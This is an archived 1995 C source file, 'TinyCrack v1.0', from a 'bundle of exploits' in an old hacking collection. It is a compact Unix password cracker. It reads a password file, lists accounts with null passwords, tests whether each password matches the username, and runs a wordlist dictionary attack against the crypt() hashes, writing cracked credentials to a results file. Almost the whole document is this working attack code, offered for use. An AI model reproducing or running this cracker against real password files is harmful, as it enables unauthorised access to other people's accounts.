home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / tinycrack.c < prev    next >
C/C++ Source or Header  |  1995-08-05  |  2KB  |  27 lines

  1. /* TinyCrack v1.0 by Bluesman@cyberspace.org 1/95 
  2.    If your tired of having to use gigantic password crackers for a quick-fix, 
  3.    then you might try using this program. It does the basics. It scans for 
  4.    nulls, tries usernames and account names and of course it runs with any 
  5.    wordlist dictionary. TO COMPILE: gcc -O2 tc.c -o tc  
  6. */
  7. #include <stdio.h> /* It's not the best, but hey, you can allmost memorize */
  8. #include <strings.h> /* it. For greater speed, compile ufc-crypt with this */
  9. #define fetch(a,b,c,d) { fgets(a,130,b); c=strtok(a,":"); d=strtok('\0',":");  }
  10. main(){ FILE *p,*o,*w; char i[50]; char pes[130],pas[50],pps[50],pws[50];
  11. char *es=pes,*as=pas,*ps=pps,*ws=pws; /* This took me a few hours to write */
  12. printf("\nTinyCrack v1.0 Bluesman 1/95\n\n"); printf("Password File: "); 
  13. gets(i); p=fopen(i,"r"); printf("WordList File: "); gets(i); w=fopen(i,"r");
  14. printf("Results File : "); gets(i); o=fopen(i,"w"); /* Most time optimizing */
  15. fprintf(o,"*** TINYCRACK v1.0 ***\n\n*** PASS 1: NULL PASSWORDS ***\n");
  16. while(ps){ fetch(es,p,as,ps); if(ps) if(ps[-1]==':') /* I don't normally */
  17. fprintf(o,"| User [%s] has no password!\n",as); } fflush(o); rewind(p);
  18. fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n"); do { fetch(es,p,as,ps);
  19. if(ps) if(!strcmp((char *)crypt(as,ps),ps)) /* write code in this format */ 
  20. fprintf(o,"| User [%s] has password [%s]\n",as,as); } while(ps); fflush(o);
  21. rewind(p); fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n"); do{ rewind(w);
  22. fetch(es,p,as,ps); do{ fgets(ws,130,w); ws[strlen(ws)-1]=0; /* In case you */
  23. if(!strcmp((char *)crypt(ws,ps),ps)){ /* were wondering. See you on the net! */ 
  24. fprintf(o,"| User [%s] has password [%s]\n",as,ws); fflush(o); break; }} 
  25. while(!feof(w));} while(!feof(p)); fprintf(o,"*** FINISHED SESSION ***\n"); 
  26. exit(1)                                                                  ;}
  27.